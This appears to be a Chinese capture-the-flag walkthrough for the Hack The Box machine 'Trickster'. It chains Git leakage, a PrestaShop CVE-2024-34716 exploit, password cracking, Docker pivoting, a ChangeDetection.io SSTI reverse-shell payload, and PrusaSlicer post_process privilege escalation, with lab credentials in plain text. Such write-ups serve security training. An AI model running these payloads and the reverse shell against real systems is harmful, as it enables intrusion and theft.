Trickster(HTB Medium)

基本信息

  • IP:10.10.11.34
  • VPN:10.10.16.15
  • 域名:trickster.htb / shop.trickster.htb

信息收集

nmap -n -vv -sC -sV -Pn -T4 10.10.11.34
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
80/tcp open  http    Apache httpd 2.4.52

目录扫描发现 .git/HEAD:

http://shop.trickster.htb/.git/HEAD
http://shop.trickster.htb/.git/refs/heads/admin_panel

commit hash:0cbc7831c1104f1fb0948ba46f75f1666e18e64c。参考 FreeBuf Git 泄露。对象是 zlib 压缩,用脚本解:

import zlib
import requests
urla = "http://shop.trickster.htb/.git/objects/0c/bc7831c1104f1fb0948ba46f75f1666e18e64c"
re = requests.get(urla)
word = zlib.decompress(re.content)
print(word)
b'commit 170\x00tree e11cf6fcc4e34b548b6bbf020ccdec57750b9ddd\nauthor adam <[email protected]> ...'

继续解 tree 对象,得到后台路径 admin634ewutrx1jgitlooaj,组件为 PrestaShop 8.1.5。

User

CVE-2024-34716:PoC

git clone https://github.com/aelmokhtar/CVE-2024-34716.git
pip install -r requirements.txt
python exploit.py --url "http://shop.trickster.htb/" --email "[email protected]" --local-ip 10.10.16.16 --admin-path "admin634ewutrx1jgitlooaj"
python3 -c 'import pty;pty.spawn("/bin/bash")'
ps -aux | grep mysql
find /var/www -name "*.php" 2>/dev/null | xargs grep "user"

/var/www/prestashop/app/config/parameters.php:

'database_host' => '127.0.0.1',
'database_name' => 'prestashop',
'database_user' => 'ps_user',
'database_password' => 'prest@shop_o',
show databases;
use prestashop;
select * from ps_employee;
james | [email protected] | $2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm
hashcat -m 3200 '$2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm' /usr/share/wordlists/rockyou.txt
alwaysandforever
ssh [email protected]
cd /home/james

拿到 user.txt。

Root

netstat -tulpn | grep LISTEN

127.0.0.1:39837 映射后是 404。ifconfig 有 docker 网卡:

for i in {1..255}; do if ping -c 1 -w 1 172.17.0.$i>/dev/null; then echo "172.17.0.$i is alive"; fi; done
nc -z -v -n -t 172.17.0.2 1-65535
Connection to 172.17.0.2 5000 port [tcp/*] succeeded!
ssh -L 1234:172.17.0.2:5000 -N [email protected]

http://127.0.0.1:1234 是 ChangeDetection.io,用 james 密码登录。CVE-2024-32651 SSTI:通知 Body 可用 Jinja2。

Notifications:

  • URL:gets://10.10.16.16
  • Body:
{{ self.__init__.__globals__.__builtins__.__import__('os').system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.16",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")\'') }}
nc -lnvp 4444

点 Send test Notification,拿到容器 root。datastore 备份 zip 里用 brotli 解开:

'database_user' => 'adam'
'database_password' => 'adam_admin992'
ssh [email protected]
sudo -l

/opt/PrusaSlicer/prusaslicer 免密。PrusaSlicer 2.6.1 的 3mf(zip)里 Metadata/Slic3r_PE.config 的 post_process 会执行命令:

post_process = "chmod u+s /bin/bash#"

用 7z 改压缩包,删掉会报错的 Gcode 行。

mv TRICKSTER.3mf my.3mf
python3 -m http.server 80

靶机:

cd /tmp
wget http://10.10.16.16/my.3mf
sudo /opt/PrusaSlicer/prusaslicer -s my.3mf
/bin/bash -p
cd /root

至此已获取机器全部权限。